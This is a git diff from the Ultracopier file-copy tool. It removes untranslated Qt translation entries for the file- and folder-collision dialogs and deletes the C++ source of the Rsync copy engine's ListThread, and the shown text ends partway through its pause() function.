- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/ListThread.cpp b/plugins-alternative/CopyEngine/Rsync/ListThread.cpp
deleted file mode 100755
index e49cea5..0000000
--- a/plugins-alternative/CopyEngine/Rsync/ListThread.cpp
+++ /dev/null
@@ -1,1720 +0,0 @@
-#include "ListThread.h"
-
-ListThread::ListThread(FacilityInterface * facilityInterface)
-{
- qRegisterMetaType<DebugLevel>("DebugLevel");
- qRegisterMetaType<ItemOfCopyList>("ItemOfCopyList");
- qRegisterMetaType<QFileInfo>("QFileInfo");
- qRegisterMetaType<CopyMode>("CopyMode");
- qRegisterMetaType<QList<Filters_rules> >("QList<Filters_rules>");
- qRegisterMetaType<TransferStat>("TransferStat");
-
- moveToThread(this);
- start(HighPriority);
- this->facilityInterface = facilityInterface;
- putInPause = false;
- sourceDrive = "";
- sourceDriveMultiple = false;
- destinationDrive = "";
- destinationDriveMultiple = false;
- stopIt = false;
- bytesToTransfer = 0;
- bytesTransfered = 0;
- idIncrementNumber = 1;
- actualRealByteTransfered = 0;
- preOperationNumber = 0;
- numberOfTranferRuning = 0;
- numberOfTransferIntoToDoList = 0;
- numberOfInodeOperation = 0;
- maxSpeed = 0;
- doRightTransfer = false;
- rsync = false;
- keepDate = false;
- blockSize = 1024;
- osBufferLimit = 512;
- alwaysDoThisActionForFileExists = FileExists_NotSet;
- doChecksum = false;
- checksumIgnoreIfImpossible = true;
- checksumOnlyOnError = true;
- osBuffer = false;
- osBufferLimited = false;
- forcedMode = false;
-
- #if ! defined (Q_CC_GNU)
- ui->keepDate->setEnabled(false);
- ui->keepDate->setToolTip("Not supported with this compiler");
- #endif
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- connect(&timerUpdateDebugDialog,SIGNAL(timeout()),this,SLOT(timedUpdateDebugDialog()));
- timerUpdateDebugDialog.start(ULTRACOPIER_PLUGIN_DEBUG_WINDOW_TIMER);
- #endif
- connect(this, SIGNAL(tryCancel()), this,SLOT(cancel()), Qt::QueuedConnection);
- connect(this, SIGNAL(askNewTransferThread()), this,SLOT(createTransferThread()), Qt::QueuedConnection);
- connect(&mkPathQueue, SIGNAL(firstFolderFinish()), this,SLOT(mkPathFirstFolderFinish()), Qt::QueuedConnection);
- connect(&rmPathQueue, SIGNAL(firstFolderFinish()), this,SLOT(rmPathFirstFolderFinish()), Qt::QueuedConnection);
- connect(&mkPathQueue, SIGNAL(errorOnFolder(QFileInfo,QString)), this,SIGNAL(mkPathErrorOnFolder(QFileInfo,QString)), Qt::QueuedConnection);
- connect(&rmPathQueue, SIGNAL(errorOnFolder(QFileInfo,QString)), this,SIGNAL(rmPathErrorOnFolder(QFileInfo,QString)), Qt::QueuedConnection);
- connect(this, SIGNAL(send_syncTransferList()), this,SLOT(syncTransferList_internal()), Qt::QueuedConnection);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(&mkPathQueue, SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), Qt::QueuedConnection);
- connect(&rmPathQueue, SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), Qt::QueuedConnection);
- #endif // ULTRACOPIER_PLUGIN_DEBUG
-
- emit askNewTransferThread();
- mkpathTransfer.release();
-}
-
-ListThread::~ListThread()
-{
- emit tryCancel();
- waitCancel.acquire();
- quit();
- wait();
-}
-
-//transfer is finished
-void ListThread::transferInodeIsClosed()
-{
- numberOfInodeOperation--;
- temp_transfer_thread=qobject_cast<TransferThread *>(QObject::sender());
- if(temp_transfer_thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("transfer thread not located!"));
- return;
- }
- isFound=false;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- int countLocalParse=0;
- #endif
- if(temp_transfer_thread->getStat()!=TransferStat_Idle)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("transfer thread not idle!"));
- return;
- }
- int_for_internal_loop=0;
- loop_size=actionToDoListTransfer.size();
- while(int_for_internal_loop<loop_size)
- {
- if(actionToDoListTransfer.at(int_for_internal_loop).id==temp_transfer_thread->transferId)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("[%1] have finish, put at idle; for id: %2").arg(int_for_internal_loop).arg(temp_transfer_thread->transferId));
- returnActionOnCopyList newAction;
- newAction.type=RemoveItem;
- newAction.addAction.id=temp_transfer_thread->transferId;
- newAction.userAction.position=int_for_internal_loop;
- actionDone << newAction;
- /// \todo check if item is at the right thread
- actionToDoListTransfer.removeAt(int_for_internal_loop);
- if(actionToDoListTransfer.size()==0 && actionToDoListInode.size()==0 && actionToDoListInode_afterTheTransfer.size()==0)
- updateTheStatus();
-
- temp_transfer_thread->transferId=0;
- temp_transfer_thread->transferSize=0;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- countLocalParse++;
- #endif
- isFound=true;
- //emit newActionOnList();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"numberOfTranferRuning: "+QString::number(numberOfTranferRuning));
- if(actionToDoListTransfer.size()==0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"numberOfTranferRuning==0");
- actionToDoListInode << actionToDoListInode_afterTheTransfer;
- actionToDoListInode_afterTheTransfer.clear();
- doNewActions_inode_manipulation();
- }
- break;
- }
- int_for_internal_loop++;
- }
- if(!isFound)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("unable to found item into the todo list, id: %1, index: %2").arg(temp_transfer_thread->transferId).arg(int_for_loop));
- temp_transfer_thread->transferId=0;
- temp_transfer_thread->transferSize=0;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("countLocalParse: %1, actionToDoList.size(): %2").arg(countLocalParse).arg(actionToDoListTransfer.size()));
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- if(countLocalParse!=1)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("countLocalParse != 1"));
- #endif
- doNewActions_inode_manipulation();
-}
-
-//transfer is finished
-void ListThread::transferIsFinished()
-{
- temp_transfer_thread=qobject_cast<TransferThread *>(QObject::sender());
- if(temp_transfer_thread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("transfer thread not located!"));
- return;
- }
-
- //add the current size of file, to general size because it's finish
- copiedSize=temp_transfer_thread->copiedSize();
- if(copiedSize>(qint64)temp_transfer_thread->transferSize)
- {
- oversize=copiedSize-temp_transfer_thread->transferSize;
- bytesToTransfer+=oversize;
- bytesTransfered+=oversize;
- }
- bytesTransfered+=temp_transfer_thread->transferSize;
-
-// emit newTransferStop(temp_transfer_thread->transferId);
- numberOfTranferRuning--;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start transferIsFinished(), numberOfTranferRuning: "+QString::number(numberOfTranferRuning));
- doNewActions_start_transfer();
-}
-
-/** \brief put the current file at bottom in case of error
-\note ONLY IN CASE OF ERROR */
-void ListThread::transferPutAtBottom()
-{
- TransferThread *transfer=qobject_cast<TransferThread *>(QObject::sender());
- if(transfer==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("transfer thread not located!"));
- return;
- }
- transfer->skip();
- bool isFound=false;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- int countLocalParse=0;
- #endif
- int indexAction=0;
- while(indexAction<actionToDoListTransfer.size())
- {
- if(actionToDoListTransfer.at(indexAction).id==transfer->transferId)
- {
- //push for interface at the end
- returnActionOnCopyList newAction;
- newAction.type=MoveItem;
- newAction.addAction.id=transfer->transferId;
- newAction.userAction.position=actionToDoListTransfer.size()-1;
- actionDone << newAction;
- //do the wait stat
- actionToDoListTransfer[indexAction].isRunning=false;
- //move at the end
- actionToDoListTransfer.move(indexAction,actionToDoListTransfer.size()-1);
- //reset the thread list stat
- transfer->transferId=0;
- transfer->transferSize=0;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- countLocalParse++;
- #endif
- isFound=true;
- break;
- }
- indexAction++;
- }
- if(!isFound)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("unable to found item into the todo list, id: %1, index: %2").arg(transfer->transferId));
- transfer->transferId=0;
- transfer->transferSize=0;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("countLocalParse: %1").arg(countLocalParse));
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- if(countLocalParse!=1)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("countLocalParse != 1"));
- #endif
-}
-
-//set the copy info and options before runing
-void ListThread::setRightTransfer(const bool doRightTransfer)
-{
- this->doRightTransfer=doRightTransfer;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setRightTransfer(doRightTransfer);
- index++;
- }
-}
-
-//set keep date
-void ListThread::setKeepDate(const bool keepDate)
-{
- this->keepDate=keepDate;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setKeepDate(keepDate);
- index++;
- }
-}
-
-//set block size in KB
-void ListThread::setBlockSize(const int blockSize)
-{
- this->blockSize=blockSize;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setBlockSize(blockSize);
- index++;
- }
-}
-
-//set auto start
-void ListThread::setAutoStart(const bool autoStart)
-{
- this->autoStart=autoStart;
-}
-
-/// \brief set rsync
-void ListThread::setRsync(const bool rsync)
-{
- this->rsync=rsync;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setRsync(rsync);
- index++;
- }
- for(int i=0;i<scanFileOrFolderThreadsPool.size();i++)
- scanFileOrFolderThreadsPool.at(i)->setRsync(rsync);
-}
-
-//set check destination folder
-void ListThread::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
-{
- this->checkDestinationFolderExists=checkDestinationFolderExists;
- for(int i=0;i<scanFileOrFolderThreadsPool.size();i++)
- scanFileOrFolderThreadsPool.at(i)->setCheckDestinationFolderExists(checkDestinationFolderExists && alwaysDoThisActionForFolderExists!=FolderExists_Merge);
-}
-
-void ListThread::fileTransfer(const QFileInfo &sourceFileInfo,const QFileInfo &destinationFileInfo,const CopyMode &mode)
-{
- addToTransfer(sourceFileInfo,destinationFileInfo,mode);
-}
-
-// -> add thread safe, by Qt::BlockingQueuedConnection
-bool ListThread::haveSameSource(QStringList sources)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(sourceDriveMultiple)
- return false;
- if(sourceDrive.isEmpty())
- return true;
- int index=0;
- while(index<sources.size())
- {
-// if(threadOfTheTransfer.getDrive(sources.at(index))!=sourceDrive)
-// return false;
- index++;
- }
- return true;
-}
-
-// -> add thread safe, by Qt::BlockingQueuedConnection
-bool ListThread::haveSameDestination(QString destination)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(destinationDriveMultiple)
- return false;
- if(destinationDrive.isEmpty())
- return true;
- int index=0;
- while(index<destination.size())
- {
-// if(threadOfTheTransfer.getDrive(destination.at(index))!=destinationDrive)
-// return false;
- index++;
- }
- return true;
-}
-
-scanFileOrFolder * ListThread::newScanThread(CopyMode mode)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start with: "+QString::number(mode));
-
- //create new thread because is auto-detroyed
- scanFileOrFolderThreadsPool << new scanFileOrFolder(mode);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(finishedTheListing()), this,SLOT(scanThreadHaveFinish()), Qt::QueuedConnection);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(fileTransfer(QFileInfo,QFileInfo,CopyMode)), this,SLOT(fileTransfer(QFileInfo,QFileInfo,CopyMode)), Qt::QueuedConnection);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)));
- #endif
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(newFolderListing(QString)), this,SIGNAL(newFolderListing(QString)));
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(addToRmPath(QString,int)), this,SLOT(addToRmPath(QString,int)), Qt::QueuedConnection);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(addToRmForRsync(QString)), this,SLOT(addToRmForRsync(QString)), Qt::QueuedConnection);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(addToMkPath(QString)), this,SLOT(addToMkPath(QString)), Qt::QueuedConnection);
-
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(errorOnFolder(QFileInfo,QString)), this,SLOT(errorOnFolder(QFileInfo,QString)), Qt::QueuedConnection);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(folderAlreadyExists(QFileInfo,QFileInfo,bool)), this,SLOT(folderAlreadyExists(QFileInfo,QFileInfo,bool)), Qt::QueuedConnection);
-
- scanFileOrFolderThreadsPool.last()->setRsync(rsync);
- scanFileOrFolderThreadsPool.last()->setFilters(include,exclude);
- scanFileOrFolderThreadsPool.last()->setCheckDestinationFolderExists(checkDestinationFolderExists && alwaysDoThisActionForFolderExists!=FolderExists_Merge);
- if(scanFileOrFolderThreadsPool.size()==1)
- updateTheStatus();
- scanFileOrFolderThreadsPool.last()->setRenamingRules(firstRenamingRule,otherRenamingRule);
- return scanFileOrFolderThreadsPool.last();
-}
-
-void ListThread::scanThreadHaveFinish(bool skipFirstRemove)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"listing thread have finish, skipFirstRemove: "+QString::number(skipFirstRemove));
- if(!skipFirstRemove)
- {
- scanFileOrFolder * senderThread = qobject_cast<scanFileOrFolder *>(QObject::sender());
- if(senderThread==NULL)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"sender pointer null (plugin copy engine)");
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start the next thread, scanFileOrFolderThreadsPool.size(): "+QString::number(scanFileOrFolderThreadsPool.size()));
- delete senderThread;
- scanFileOrFolderThreadsPool.removeOne(senderThread);
- if(scanFileOrFolderThreadsPool.size()==0)
- updateTheStatus();
- }
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start the next thread, scanFileOrFolderThreadsPool.size(): "+QString::number(scanFileOrFolderThreadsPool.size()));
- if(scanFileOrFolderThreadsPool.size()>0)
- {
- //then start the next listing threads
- if(scanFileOrFolderThreadsPool.first()->isFinished())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Start listing thread");
- scanFileOrFolderThreadsPool.first()->start();
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"The listing thread is already running");
- }
- else
- {
- if(autoStart)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Auto start the copy");
- startGeneralTransfer();
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Put the copy engine in pause");
- putInPause=true;
- emit isInPause(true);
- }
- }
-}
-
-void ListThread::startGeneralTransfer()
-{
- doNewActions_inode_manipulation();
-}
-
-// -> add thread safe, by Qt::BlockingQueuedConnection
-bool ListThread::newCopy(QStringList sources,QString destination)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+sources.join(";")+", destination: "+destination);
- scanFileOrFolder * scanFileOrFolderThread = newScanThread(Copy);
- if(scanFileOrFolderThread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to get new thread");
- return false;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start the listing");
- scanFileOrFolderThread->addToList(sources,destination);
- scanThreadHaveFinish(true);
- return true;
-}
-
-// -> add thread safe, by Qt::BlockingQueuedConnection
-bool ListThread::newMove(QStringList sources,QString destination)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- scanFileOrFolder * scanFileOrFolderThread = newScanThread(Move);
- if(scanFileOrFolderThread==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to get new thread");
- return false;
- }
- scanFileOrFolderThread->addToList(sources,destination);
- scanThreadHaveFinish(true);
-/* int index=0;
- while(index<sources.size() && !sourceDriveMultiple)
- {
- QString tempDrive=threadOfTheTransfer.getDrive(sources.at(index));
- if(sourceDrive=="")
- sourceDrive=tempDrive;
- if(tempDrive!=sourceDrive)
- sourceDriveMultiple=true;
- index++;
- }*/
-/* QString tempDrive=threadOfTheTransfer.getDrive(destination);
- if(!destinationDriveMultiple)
- {
- if(tempDrive=="")
- destinationDrive=tempDrive;
- if(tempDrive!=destinationDrive)
- destinationDriveMultiple=true;
- }*/
- return true;
-}
-
-void ListThread::setDrive(QStringList drives)
-{
- this->drives=drives;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setDrive(drives);
- index++;
- }
-}
-
-void ListThread::setCollisionAction(FileExistsAction alwaysDoThisActionForFileExists)
-{
- this->alwaysDoThisActionForFileExists=alwaysDoThisActionForFileExists;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
- index++;
- }
-}
-
-/** \brief to sync the transfer list
- * Used when the interface is changed, useful to minimize the memory size */
-void ListThread::syncTransferList()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit send_syncTransferList();
-}
-
-//set the folder local colision
-void ListThread::setFolderColision(FolderExistsAction alwaysDoThisActionForFolderExists)
-{
- this->alwaysDoThisActionForFolderExists=alwaysDoThisActionForFolderExists;
-}
-
-bool ListThread::getReturnBoolToCopyEngine()
-{
- return returnBoolToCopyEngine;
-}
-
-QPair<quint64,quint64> ListThread::getReturnPairQuint64ToCopyEngine()
-{
- return returnPairQuint64ToCopyEngine;
-}
-
-ItemOfCopyList ListThread::getReturnItemOfCopyListToCopyEngine()
-{
- return returnItemOfCopyListToCopyEngine;
-}
-
-void ListThread::set_doChecksum(bool doChecksum)
-{
- this->doChecksum=doChecksum;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_doChecksum(doChecksum);
- index++;
- }
-}
-
-void ListThread::set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible)
-{
- this->checksumIgnoreIfImpossible=checksumIgnoreIfImpossible;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
- index++;
- }
-}
-
-void ListThread::set_checksumOnlyOnError(bool checksumOnlyOnError)
-{
- this->checksumOnlyOnError=checksumOnlyOnError;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_checksumOnlyOnError(checksumOnlyOnError);
- index++;
- }
-}
-
-void ListThread::set_osBuffer(bool osBuffer)
-{
- this->osBuffer=osBuffer;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_osBuffer(osBuffer);
- index++;
- }
-}
-
-void ListThread::set_osBufferLimited(bool osBufferLimited)
-{
- this->osBufferLimited=osBufferLimited;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_osBufferLimited(osBufferLimited);
- index++;
- }
-}
-
-void ListThread::realByteTransfered()
-{
- quint64 totalRealByteTransfered=0;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- totalRealByteTransfered+=transferThreadList.at(index)->realByteTransfered();
- index++;
- }
- emit send_realBytesTransfered(totalRealByteTransfered);
-}
-
-void ListThread::pause()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(putInPause)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Seam already in pause!");
- return;
- }
- putInPause=true;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
